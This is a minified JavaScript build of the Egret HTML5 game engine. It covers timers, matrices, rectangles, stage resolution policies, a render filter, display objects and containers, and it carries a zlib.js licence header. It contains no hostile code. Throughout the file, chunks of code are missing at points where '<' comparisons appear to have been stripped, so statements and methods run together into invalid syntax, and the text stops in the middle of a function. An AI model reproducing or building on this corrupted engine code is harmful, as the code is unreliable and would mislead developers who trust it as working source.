/* zlib.js 2012 - imaya [ https://github.com/imaya/zlib.js ] The MIT License */ var egret;(function(c){var e=function(){function c(){this._hashCode=c.hashCount++}Object.defineProperty(c.prototype,"hashCode",{get:function(){return this._hashCode},enumerable:!0,configurable:!0});c.hashCount=1;return c}();c.HashObject=e})(egret||(egret={}));var __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(b){"undefined"===typeof b&&(b=300);c.call(this);this.objectPool=[];this._length=0;1>b&&(b=1);this.autoDisposeTime=b;this.frameCount=0}__extends(a,c);a.prototype._checkFrame=function(){this.frameCount--;0>=this.frameCount&&this.dispose()};Object.defineProperty(a.prototype,"length",{get:function(){return this._length},enumerable:!0,configurable:!0});a.prototype.push=function(b){var h=this.objectPool;-1==h.indexOf(b)&&(h.push(b),this._length++,0==this.frameCount&& (this.frameCount=this.autoDisposeTime,a._callBackList.push(this)))};a.prototype.pop=function(){if(0==this._length)return null;this._length--;return this.objectPool.pop()};a.prototype.dispose=function(){0=this._maxDeltaTime){a=(this._preDrawCount-1).toString();var b=Math.ceil(this._logicPerformanceCost).toString()+","+Math.ceil(this._updateTransformPerformanceCost).toString()+","+Math.ceil(this._renderPerformanceCost).toString()+ ","+Math.ceil(c.MainContext.instance.rendererContext.renderCost).toString();this._txt.text="draw:"+a+"\ncost:"+b+"\nFPS:"+Math.floor(1E3*this._tick/this._totalDeltaTime).toString();this._tick=this._totalDeltaTime=0}this._preDrawCount=0};d.prototype.onDrawImage=function(){this._preDrawCount++};return d}();c.Profiler=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.apply(this,arguments);this._timeScale=1;this._paused=!1;this.callBackList=[]}__extends(a,d);a.prototype.run=function(){c.__START_TIME=(new Date).getTime();c.MainContext.instance.deviceContext.executeMainLoop(this.update,this)};a.prototype.update=function(b){var a=this.callBackList.concat(),c=a.length;b*=this._timeScale;b*=this._timeScale;for(var d=0;d=c&&(g.unregister(arguments.callee,a),b.apply(a,d)))},a)};a.prototype.setTimeScale=function(b){this._timeScale=b};a.prototype.getTimeScale=function(){return this._timeScale}; a.prototype.pause=function(){this._paused=!0};a.prototype.resume=function(){this._paused=!1};a.getInstance=function(){null==a.instance&&(a.instance=new a);return a.instance};return a}(c.EventDispatcher);c.Ticker=e})(egret||(egret={}));(function(c){var e=function(){function c(){}c.LEFT="left";c.RIGHT="right";c.CENTER="center";c.JUSTIFY="justify";c.CONTENT_JUSTIFY="contentJustify";return c}();c.HorizontalAlign=e})(egret||(egret={})); (function(c){var e=function(){function c(){}c.TOP="top";c.BOTTOM="bottom";c.MIDDLE="middle";c.JUSTIFY="justify";c.CONTENT_JUSTIFY="contentJustify";return c}();c.VerticalAlign=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(b,a){"undefined"===typeof a&&(a=0);d.call(this);this._currentCount=0;this.delay=b;this.repeatCount=a}__extends(a,d);a.prototype.currentCount=function(){return this._currentCount};Object.defineProperty(a.prototype,"running",{get:function(){return this._running},enumerable:!0,configurable:!0});a.prototype.reset=function(){this.stop();this._currentCount=0};a.prototype.start=function(){this._running||(this.lastTime=c.getTimer(),0!=this._currentCount&&(this._currentCount= 0),c.Ticker.getInstance().register(this.onEnterFrame,this),this._running=!0)};a.prototype.stop=function(){this._running&&(c.Ticker.getInstance().unregister(this.onEnterFrame,this),this._running=!1)};a.prototype.onEnterFrame=function(b){b=c.getTimer();b-this.lastTime>this.delay&&(this.lastTime=b,this._currentCount++,c.TimerEvent.dispatchTimerEvent(this,c.TimerEvent.TIMER),0=this.repeatCount&&(this.stop(),c.TimerEvent.dispatchTimerEvent(this,c.TimerEvent.TIMER_COMPLETE)))}; return a}(c.EventDispatcher);c.Timer=e})(egret||(egret={})); (function(c){function e(b){b=b.toString();var a=b.indexOf("(");return b.substring(9,a)}function d(b,h){for(var c in b){var k=b[c],f=typeof k;"function"==f?k.prototype&&(f=k.toString(),a[f]||(a[f]=h+"."+e(k))):"object"!=f||k instanceof Array||d(k,h+"."+c)}}c.__moduleNameList=["egret","RES","dragonBones"];c.__invalidateModuleFlag=!0;var a={};c.getQualifiedClassName=function(b){b=b.prototype?b.prototype.constructor:b.__proto__.constructor;var h=b.toString(),m=a[h];if(m)return m;if(c.__invalidateModuleFlag){for(var m= c.__moduleNameList,k=m.length,f=0;fc)c=0;16777215c.length;)c="0"+c;return"#"+c}})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(b,a,c,e,f,g){"undefined"===typeof b&&(b=1);"undefined"===typeof a&&(a=0);"undefined"===typeof c&&(c=0);"undefined"===typeof e&&(e=1);"undefined"===typeof f&&(f=0);"undefined"===typeof g&&(g=0);d.call(this);this.a=b;this.b=a;this.c=c;this.d=e;this.tx=f;this.ty=g}__extends(a,d);a.prototype.prepend=function(b,a,c,d,e,g){var l=this.tx;if(1!=b||0!=a||0!=c||1!=d){var n=this.a,p=this.c;this.a=n*b+this.b*c;this.b=n*a+this.b*d;this.c=p*b+this.d*c;this.d=p*a+this.d* d}this.tx=l*b+this.ty*c+e;this.ty=l*a+this.ty*d+g;return this};a.prototype.append=function(b,a,c,d,e,g){var l=this.a,n=this.b,p=this.c,q=this.d;this.a=b*l+a*p;this.b=b*n+a*q;this.c=c*l+d*p;this.d=c*n+d*q;this.tx=e*l+g*p+this.tx;this.ty=e*n+g*q+this.ty;return this};a.prototype.prependMatrix=function(b){this.prepend(b.a,b.b,b.c,b.d,b.tx,b.ty);return this};a.prototype.appendMatrix=function(b){this.append(b.a,b.b,b.c,b.d,b.tx,b.ty);return this};a.prototype.prependTransform=function(b,h,c,d,e,g,l,n,p){if(e% 360){var q=e*a.DEG_TO_RAD;e=Math.cos(q);q=Math.sin(q)}else e=1,q=0;if(n||p)this.tx-=n,this.ty-=p;g||l?(g*=a.DEG_TO_RAD,l*=a.DEG_TO_RAD,this.prepend(e*c,q*c,-q*d,e*d,0,0),this.prepend(Math.cos(l),Math.sin(l),-Math.sin(g),Math.cos(g),b,h)):this.prepend(e*c,q*c,-q*d,e*d,b,h);return this};a.prototype.appendTransform=function(b,h,c,d,e,g,l,n,p){if(e%360){var q=e*a.DEG_TO_RAD;e=Math.cos(q);q=Math.sin(q)}else e=1,q=0;g||l?(g*=a.DEG_TO_RAD,l*=a.DEG_TO_RAD,this.append(Math.cos(l),Math.sin(l),-Math.sin(g), Math.cos(g),b,h),this.append(e*c,q*c,-q*d,e*d,0,0)):this.append(e*c,q*c,-q*d,e*d,b,h);if(n||p)this.tx-=n*this.a+p*this.c,this.ty-=n*this.b+p*this.d;return this};a.prototype.rotate=function(b){var a=Math.cos(b);b=Math.sin(b);var c=this.a,d=this.c,e=this.tx;this.a=c*a-this.b*b;this.b=c*b+this.b*a;this.c=d*a-this.d*b;this.d=d*b+this.d*a;this.tx=e*a-this.ty*b;this.ty=e*b+this.ty*a;return this};a.prototype.skew=function(b,h){b*=a.DEG_TO_RAD;h*=a.DEG_TO_RAD;this.append(Math.cos(h),Math.sin(h),-Math.sin(b), Math.cos(b),0,0);return this};a.prototype.scale=function(b,a){this.a*=b;this.d*=a;this.c*=b;this.b*=a;this.tx*=b;this.ty*=a;return this};a.prototype.translate=function(b,a){this.tx+=b;this.ty+=a;return this};a.prototype.identity=function(){this.a=this.d=1;this.b=this.c=this.tx=this.ty=0;return this};a.prototype.invert=function(){var b=this.a,a=this.b,c=this.c,d=this.d,e=this.tx,g=b*d-a*c;this.a=d/g;this.b=-a/g;this.c=-c/g;this.d=b/g;this.tx=(c*this.ty-d*e)/g;this.ty=-(b*this.ty-a*e)/g;return this}; a.transformCoords=function(b,a,m){var d=c.Point.identity;d.x=b.a*a+b.c*m+b.tx;d.y=b.d*m+b.b*a+b.ty;return d};a.identity=new a;a.DEG_TO_RAD=Math.PI/180;return a}(c.HashObject);c.Matrix=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(b,a){"undefined"===typeof b&&(b=0);"undefined"===typeof a&&(a=0);c.call(this);this.x=b;this.y=a}__extends(a,c);a.prototype.clone=function(){return new a(this.x,this.y)};a.prototype.equals=function(b){return this.x==b.x&&this.y==b.y};a.distance=function(b,a){return Math.sqrt((b.x-a.x)*(b.x-a.x)+(b.y-a.y)*(b.y-a.y))};a.identity=new a(0,0);return a}(c.HashObject);c.Point=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(b,a,m,e){"undefined"===typeof b&&(b=0);"undefined"===typeof a&&(a=0);"undefined"===typeof m&&(m=0);"undefined"===typeof e&&(e=0);c.call(this);this.x=b;this.y=a;this.width=m;this.height=e}__extends(a,c);Object.defineProperty(a.prototype,"right",{get:function(){return this.x+this.width},set:function(b){this.width=b-this.x},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"bottom",{get:function(){return this.y+this.height},set:function(b){this.height= b-this.y},enumerable:!0,configurable:!0});a.prototype.initialize=function(b,a,c,d){this.x=b;this.y=a;this.width=c;this.height=d;return this};a.prototype.contains=function(b,a){return this.x<=b&&this.x+this.width>=b&&this.y<=a&&this.y+this.height>=a};a.prototype.intersects=function(b){return this.contains(b.x,b.y)||this.contains(b.x,b.bottom)||this.contains(b.right,b.y)||this.contains(b.right,b.bottom)?!0:!1};a.prototype.clone=function(){return new a(this.x,this.y,this.width,this.height)};a.prototype.containsPoint= function(b){return this.xb.x&&this.yb.y?!0:!1};a.identity=new a(0,0,0,0);return a}(c.HashObject);c.Rectangle=e})(egret||(egret={})); (function(c){var e=function(){function d(){}d.fatal=function(a,b){"undefined"===typeof b&&(b=null);c.Logger.traceToConsole("Fatal",a,b);throw Error(c.Logger.getTraceCode("Fatal",a,b));};d.info=function(a,b){"undefined"===typeof b&&(b=null);c.Logger.traceToConsole("Info",a,b)};d.warning=function(a,b){"undefined"===typeof b&&(b=null);c.Logger.traceToConsole("Warning",a,b)};d.traceToConsole=function(a,b,h){console.log(c.Logger.getTraceCode(a,b,h))};d.getTraceCode=function(a,b,h){return"["+a+"]"+b+":"+ (null==h?"":h)};return d}();c.Logger=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(b){function h(){b.call(this);this._designHeight=this._designWidth=0;this._scaleY=this._scaleX=1;var a=document.getElementById(h.canvas_name),c=a.height;this._designWidth=a.width;this._designHeight=c}__extends(h,b);h.getInstance=function(){null==h.instance&&(a.initialize(),h.instance=new h);return h.instance};h.prototype.setDesignSize=function(b,a,h){this.setResolutionPolicy(h);this._designWidth=b;this._designHeight=a;this._resolutionPolicy._apply(this,this._designWidth, this._designHeight)};h.prototype.setResolutionPolicy=function(b){this._resolutionPolicy=b;b.init(this)};h.prototype.getScaleX=function(){return this._scaleX};h.prototype.getScaleY=function(){return this._scaleY};h.canvas_name="gameCanvas";h.canvas_div_name="gameDiv";return h}(c.HashObject);c.StageDelegate=e;var d=function(){function b(a,h){this.setContainerStrategy(a);this.setContentStrategy(h)}b.prototype.init=function(b){this._containerStrategy.init(b);this._contentStrategy.init(b)};b.prototype._apply= function(b,a,h){this._containerStrategy._apply(b,a,h);this._contentStrategy._apply(b,a,h)};b.prototype.setContainerStrategy=function(b){b instanceof a&&(this._containerStrategy=b)};b.prototype.setContentStrategy=function(b){b instanceof h&&(this._contentStrategy=b)};return b}();c.ResolutionPolicy=d;var a=function(){function a(){}a.initialize=function(){a.EQUAL_TO_FRAME=new b};a.prototype.init=function(b){};a.prototype._apply=function(b,a,h){};a.prototype._setupContainer=function(){var b=document.body, a;b&&(a=b.style)&&(a.paddingTop=a.paddingTop||"0px",a.paddingRight=a.paddingRight||"0px",a.paddingBottom=a.paddingBottom||"0px",a.paddingLeft=a.paddingLeft||"0px",a.borderTop=a.borderTop||"0px",a.borderRight=a.borderRight||"0px",a.borderBottom=a.borderBottom||"0px",a.borderLeft=a.borderLeft||"0px",a.marginTop=a.marginTop||"0px",a.marginRight=a.marginRight||"0px",a.marginBottom=a.marginBottom||"0px",a.marginLeft=a.marginLeft||"0px")};return a}();c.ContainerStrategy=a;var b=function(b){function a(){b.apply(this, arguments)}__extends(a,b);a.prototype._apply=function(b){this._setupContainer()};return a}(a);c.EqualToFrame=b;var h=function(){function b(){}b.prototype.init=function(b){};b.prototype._apply=function(b,a,h){};return b}();c.ContentStrategy=h;d=function(b){function a(){b.apply(this,arguments)}__extends(a,b);a.prototype._apply=function(b,a,h){var c=document.getElementById(e.canvas_name),m=document.getElementById(e.canvas_div_name),d=c.height/h,k=window.innerHeight,d=k/h,s=a*d;c.width=a;c.height=h;c.style.width= s+"px";c.style.height=k+"px";m.style.width=s+"px";m.style.height=k+"px";b._scaleX=d;b._scaleY=d};return a}(h);c.FixedHeight=d;d=function(b){function a(){b.apply(this,arguments)}__extends(a,b);a.prototype._apply=function(b,a,h){h=document.getElementById(e.canvas_name);var c=document.getElementById(e.canvas_div_name),m=document.documentElement.clientWidth,d=document.documentElement.clientHeight,k=m/a;h.width=a;h.height=d/k;h.style.width=m+"px";h.style.height=d+"px";c.style.width=m+"px";c.style.height= d+"px";b._scaleX=k;b._scaleY=k};return a}(h);c.FixedWidth=d;d=function(b){function a(h,c){b.call(this);this.width=h;this.height=c}__extends(a,b);a.prototype._apply=function(b,a,h){h=document.getElementById(e.canvas_name);var c=document.getElementById(e.canvas_div_name),m=this.width,d=this.height,k=m/a;h.width=a;h.height=d/k;h.style.width=m+"px";h.style.height=d+"px";c.style.width=m+"px";c.style.height=d+"px";b._scaleX=k;b._scaleY=k};return a}(h);c.FixedSize=d;d=function(b){function a(h,c){b.call(this); this.width=h;this.height=c}__extends(a,b);a.prototype._apply=function(b,a,h){a=document.getElementById(e.canvas_name);a.style.width=a.width+"px";a.style.height=a.height+"px";b._scaleX=1;b._scaleY=1};return a}(h);c.NoScale=d})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._originalData={};this._drawAreaList=[]}__extends(a,d);a.getInstance=function(){null==a.instance&&(a.instance=new a);return a.instance};a.prototype.addDrawArea=function(b){this._drawAreaList.push(b)};a.prototype.clearDrawArea=function(){this._drawAreaList=[]};a.prototype.drawImage=function(b,a,m,d,e,g,l,n,p,q){l=l||0;n=n||0;var r=a._texture_to_render;if(null!=r&&0!=g&&0!=e&&0!=p&&0!=q)if(a._worldBounds){var s=this._originalData;s.sourceX= m;s.sourceY=d;s.sourceWidth=e;s.sourceHeight=g;s.destX=l;s.destY=n;s.destWidth=p;s.destHeight=q;for(var z=this.getDrawAreaList(),A=0;Av.x+v.width||a._worldBounds.y+a._worldBounds.height+s.destY>v.y+v.height){c.Logger.fatal("\u8bf7\u4e0d\u8981\u8ba9\u5e26\u6709\u65cb\u8f6c\u548c\u659c\u5207\u7684\u663e\u793a\u5bf9\u8c61\u8de8\u8fc7\u91cd\u7ed8\u533a\u57df"); break}}else{var B=a._worldTransform.a,C=a._worldTransform.d,t;a._worldBounds.x+s.destXv.x+v.width&&(t=(a._worldBounds.x+a._worldBounds.width-v.x-v.width)/B+s.destX,e-=t/(p/e),p-=t);a._worldBounds.y+a._worldBounds.height+s.destY>v.y+v.height&&(t=(a._worldBounds.y+a._worldBounds.height- v.y-v.height)/C+s.destY,g-=t/(q/g),q-=t)}b.drawImage(r,m,d,e,g,l,n,p,q)}}}else b.drawImage(r,m,d,e,g,l,n,p,q)};a.prototype.ignoreRender=function(b,a,c,d){var e=b._worldBounds;c*=b._worldTransform.a;d*=b._worldTransform.d;return e.x+e.width+c<=a.x||e.x+c>=a.x+a.width||e.y+e.height+d<=a.y||e.y+d>=a.y+a.height?!0:!1};a.prototype.getDrawAreaList=function(){var b;0==this._drawAreaList.length?(this._defaultDrawAreaList||(this._defaultDrawAreaList=[new c.Rectangle(0,0,c.MainContext.instance.stage.stageWidth, c.MainContext.instance.stage.stageHeight)]),b=this._defaultDrawAreaList):b=this._drawAreaList;return b};return a}(c.HashObject);c.RenderFilter=e})(egret||(egret={})); (function(c){var e=function(){function d(){}d.mapClass=function(a,b,h){"undefined"===typeof h&&(h="");a=this.getKey(a)+"#"+h;this.mapClassDic[a]=b};d.getKey=function(a){return"string"==typeof a?a:c.getQualifiedClassName(a)};d.mapValue=function(a,b,h){"undefined"===typeof h&&(h="");a=this.getKey(a)+"#"+h;this.mapValueDic[a]=b};d.hasMapRule=function(a,b){"undefined"===typeof b&&(b="");var h=this.getKey(a)+"#"+b;return this.mapValueDic[h]||this.mapClassDic[h]?!0:!1};d.getInstance=function(a,b){"undefined"=== typeof b&&(b="");var h=this.getKey(a)+"#"+b;if(this.mapValueDic[h])return this.mapValueDic[h];var c=this.mapClassDic[h];if(c)return c=new c,this.mapValueDic[h]=c,delete this.mapClassDic[h],c;throw Error("\u8c03\u7528\u4e86\u672a\u914d\u7f6e\u7684\u6ce8\u5165\u89c4\u5219:"+h+"\u3002 \u8bf7\u5148\u5728\u9879\u76ee\u521d\u59cb\u5316\u91cc\u914d\u7f6e\u6307\u5b9a\u7684\u6ce8\u5165\u89c4\u5219\uff0c\u518d\u8c03\u7528\u5bf9\u5e94\u5355\u4f8b\u3002");};d.mapClassDic={};d.mapValueDic={};return d}();c.Injector= e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._parent=null;this._cacheAsBitmap=!1;this._y=this._x=0;this._scaleY=this._scaleX=1;this._anchorY=this._anchorX=this._anchorOffsetY=this._anchorOffsetX=0;this.visible=!0;this._rotation=0;this._alpha=1;this._skewY=this._skewX=0;this._hasHeightSet=this._hasWidthSet=!1;this.worldAlpha=1;this._worldTransform=new c.Matrix;this._cacheBounds=new c.Rectangle(0,0,0,0)}__extends(a,d);Object.defineProperty(a.prototype,"parent",{get:function(){return this._parent}, enumerable:!0,configurable:!0});a.prototype._parentChanged=function(b){this._parent=b};Object.defineProperty(a.prototype,"x",{get:function(){return this._x},set:function(b){c.NumberUtils.isNumber(b)&&(this._x=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"y",{get:function(){return this._y},set:function(b){c.NumberUtils.isNumber(b)&&(this._y=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"scaleX",{get:function(){return this._scaleX},set:function(b){c.NumberUtils.isNumber(b)&& (this._scaleX=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"scaleY",{get:function(){return this._scaleY},set:function(b){c.NumberUtils.isNumber(b)&&(this._scaleY=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"anchorOffsetX",{get:function(){return this._anchorOffsetX},set:function(b){c.NumberUtils.isNumber(b)&&(this._anchorOffsetX=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"anchorOffsetY",{get:function(){return this._anchorOffsetY}, set:function(b){c.NumberUtils.isNumber(b)&&(this._anchorOffsetY=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"anchorX",{get:function(){return this._anchorX},set:function(b){c.NumberUtils.isNumber(b)&&(this._anchorX=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"anchorY",{get:function(){return this._anchorY},set:function(b){c.NumberUtils.isNumber(b)&&(this._anchorY=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"rotation",{get:function(){return this._rotation}, set:function(b){c.NumberUtils.isNumber(b)&&(this._rotation=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"alpha",{get:function(){return this._alpha},set:function(b){c.NumberUtils.isNumber(b)&&(this._alpha=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"skewX",{get:function(){return this._skewX},set:function(b){c.NumberUtils.isNumber(b)&&(this._skewX=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"skewY",{get:function(){return this._skewY}, set:function(b){c.NumberUtils.isNumber(b)&&(this._skewY=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"touchEnabled",{get:function(){return this._touchEnabled},set:function(b){this._touchEnabled=b},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"scrollRect",{get:function(){return this._scrollRect},set:function(b){this._scrollRect=b},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"measuredWidth",{get:function(){return this._measureBounds().width}, enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"measuredHeight",{get:function(){return this._measureBounds().height},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"explicitWidth",{get:function(){return this._explicitWidth},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"explicitHeight",{get:function(){return this._explicitHeight},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"width",{get:function(){return this.getBounds(c.Rectangle.identity).width}, set:function(b){this._setWidth(b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"height",{get:function(){return this.getBounds(c.Rectangle.identity).height},set:function(b){this._setHeight(b)},enumerable:!0,configurable:!0});a.prototype._setWidth=function(b){this._explicitWidth=b;this._hasWidthSet=c.NumberUtils.isNumber(b)};a.prototype._setHeight=function(b){this._explicitHeight=b;this._hasHeightSet=c.NumberUtils.isNumber(b)};a.prototype._draw=function(b){if(this.visible&&!this.drawCacheTexture(b)){b.setAlpha(this.worldAlpha, this.blendMode);b.setTransform(this._worldTransform);var a=this.mask||this._scrollRect;a&&b.pushMask(a);this._render(b);a&&b.popMask()}this.destroyCacheBounds()};a.prototype.drawCacheTexture=function(b){if(this._cacheAsBitmap){var a=this._texture_to_render,m=a._offsetX,d=a._offsetY,e=a._textureWidth,a=a._textureHeight;this._updateTransform();b.setAlpha(this.worldAlpha,this.blendMode);b.setTransform(this._worldTransform);var g=this.mask||this._scrollRect;g&&b.pushMask(g);var l=c.MainContext.instance.rendererContext.texture_scale_factor; c.RenderFilter.getInstance().drawImage(b,this,0,0,e*l,a*l,m,d,e,a);g&&b.popMask();return!0}return!1};a.prototype._updateTransform=function(){this._worldTransform.identity().appendMatrix(this._parent._worldTransform);var b=this._getOffsetPoint();this._worldTransform.appendTransform(this._x,this._y,this._scaleX,this._scaleY,this._rotation,this._skewX,this._skewY,b.x,b.y);this._scrollRect&&this._worldTransform.append(1,0,0,1,-this._scrollRect.x,-this._scrollRect.y);this.worldAlpha=this._parent.worldAlpha* this._alpha};a.prototype._render=function(b){};a.prototype.getBounds=function(b){if(0==this._cacheBounds.x&&0==this._cacheBounds.y&&0==this._cacheBounds.width&&0==this._cacheBounds.height){var a=this._measureBounds(),m=this._hasWidthSet?this._explicitWidth:a.width,d=this._hasHeightSet?this._explicitHeight:a.height,e=a.x,a=a.y,g,l;0!=this._anchorX||0!=this._anchorY?(g=m*this._anchorX,l=d*this._anchorY):(g=this._anchorOffsetX,l=this._anchorOffsetY);this._cacheBounds.initialize(e-g,a-l,m,d)}m=this._cacheBounds; b||(b=new c.Rectangle);return b.initialize(m.x,m.y,m.width,m.height)};a.prototype.destroyCacheBounds=function(){this._cacheBounds.x=0;this._cacheBounds.y=0;this._cacheBounds.width=0;this._cacheBounds.height=0};a.prototype._getConcatenatedMatrix=function(){for(var b=a.identityMatrixForGetConcatenated.identity(),h=this;null!=h;){if(0!=h._anchorX||0!=h._anchorY){var m=h._getSize(c.Rectangle.identity);b.prependTransform(h._x,h._y,h._scaleX,h._scaleY,h._rotation,h._skewX,h._skewY,m.width*h._anchorX,m.height* h._anchorY)}else b.prependTransform(h._x,h._y,h._scaleX,h._scaleY,h._rotation,h._skewX,h._skewY,h._anchorOffsetX,h._anchorOffsetY);h=h._parent}return b};a.prototype.localToGlobal=function(b,a,m){"undefined"===typeof b&&(b=0);"undefined"===typeof a&&(a=0);var d=this._getConcatenatedMatrix();d.append(1,0,0,1,b,a);m||(m=new c.Point);m.x=d.tx;m.y=d.ty;return m};a.prototype.globalToLocal=function(b,a,d){"undefined"===typeof b&&(b=0);"undefined"===typeof a&&(a=0);var e=this._getConcatenatedMatrix();e.invert(); e.append(1,0,0,1,b,a);d||(d=new c.Point);d.x=e.tx;d.y=e.ty;return d};a.prototype.hitTest=function(b,a,d){"undefined"===typeof d&&(d=!1);if(!this.visible||!d&&!this._touchEnabled)return null;d=this._getSize(c.Rectangle.identity);return 0s&&(s=c);(c=l+n+p)s&&(s=c);(c=n+p)s&&(s=c);(d=e+q)A&&(A=d);(d=e+g+q)A&&(A=d);(d=g+q)A&&(A=d);return b.initialize(r,z,s-r,A-z)};a.identityMatrixForGetConcatenated=new c.Matrix;a._enterFrameCallBackList=[];a._renderCallBackList=[];return a}(c.EventDispatcher);c.DisplayObject=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._touchChildren=!0;this._children=[]}__extends(a,d);Object.defineProperty(a.prototype,"touchChildren",{get:function(){return this._touchChildren},set:function(b){this._touchChildren=b},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"numChildren",{get:function(){return this._children.length},enumerable:!0,configurable:!0});a.prototype.setChildIndex=function(b,a){this.doSetChildIndex(b,a)};a.prototype.doSetChildIndex=function(b, a){var d=this._children.indexOf(b);0>d&&c.Logger.fatal("child\u4e0d\u5728\u5f53\u524d\u5bb9\u5668\u5185");this._children.splice(d,1);0>a||this._children.length<=a?this._children.push(b):this._children.splice(a,0,b)};a.prototype.addChild=function(b){var a=this.numChildren;b._parent==this&&a--;return this._doAddChild(b,a)};a.prototype.addChildAt=function(b,a){return this._doAddChild(b,a)};a.prototype._doAddChild=function(b,h,d){"undefined"===typeof d&&(d=!0);if(b==this)return b;if(0>h||h>this._children.length)return c.Logger.fatal("\u63d0\u4f9b\u7684\u7d22\u5f15\u8d85\u51fa\u8303\u56f4"), b;var e=b.parent;if(e==this)return this.doSetChildIndex(b,h),b;e&&e.removeChild(b);this._children.splice(h,0,b);b._parentChanged(this);d&&b.dispatchEventWith(c.Event.ADDED,!0);if(this._stage)for(b._onAddToStage(),h=a.__EVENT__ADD_TO_STAGE_LIST;0a||0==g)a=q;if(pe||0==g)e=r}}return c.Rectangle.identity.initialize(b,d,a-b,e-d)};a.prototype.hitTest=function(b,a,m){"undefined"===typeof m&&(m=!1);var e;if(!this.visible)return null;if(this._scrollRect){if(b>this._scrollRect.width||a>this._scrollRect.height)return null}else if(this.mask&&(this.mask.x>b||b>this.mask.x+this.mask.width||this.mask.y>a||a>this.mask.y+this.mask.height))return null;for(var f=this._children,g=this._touchChildren,l=f.length-1;0<=l;l--){var n=f[l],p=n,q=p._getOffsetPoint(), r=p._x,s=p._y;this._scrollRect&&(r-=this._scrollRect.x,s-=this._scrollRect.y);p=c.Matrix.identity.identity().prependTransform(r,s,p._scaleX,p._scaleY,p._rotation,0,0,q.x,q.y);p.invert();p=c.Matrix.transformCoords(p,b,a);if(n=n.hitTest(p.x,p.y,!0)){if(n._touchEnabled&&g)return n;if(this._touchEnabled)return this;null==e&&(e=n)}}return e||!this._texture_to_render&&!this._graphics?e:d.prototype.hitTest.call(this,b,a,m)};a.prototype._onAddToStage=function(){d.prototype._onAddToStage.call(this);for(var b= this.numChildren,a=0;aa.height&&(a.height=l+f._textureHeight)}return a};a.prototype._measureBounds=function(){return this._renderText(!0)};return a}(c.DisplayObjectContainer);c.BitmapText=e})(egret||(egret={})); (function(c){var e=function(){function c(){this.commandQueue=[]}c.prototype.beginFill=function(a,b){};c.prototype._setStyle=function(a){};c.prototype.drawRect=function(a,b,c,d){};c.prototype.drawCircle=function(a,b,c){};c.prototype.lineStyle=function(a,b,c,d,e,f,g,l){};c.prototype.lineTo=function(a,b){};c.prototype.curveTo=function(a,b,c,d){};c.prototype.moveTo=function(a,b){};c.prototype.clear=function(){};c.prototype.endFill=function(){};c.prototype._draw=function(a){};return c}();c.Graphics=e; (function(){return function(c,a,b){this.method=c;this.thisObject=a;this.args=b}})()})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this)}__extends(a,d);Object.defineProperty(a.prototype,"graphics",{get:function(){this._graphics||(this._graphics=new c.Graphics);return this._graphics},enumerable:!0,configurable:!0});a.prototype._render=function(b){this._graphics&&this._graphics._draw(b)};return a}(c.DisplayObject);c.Shape=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function 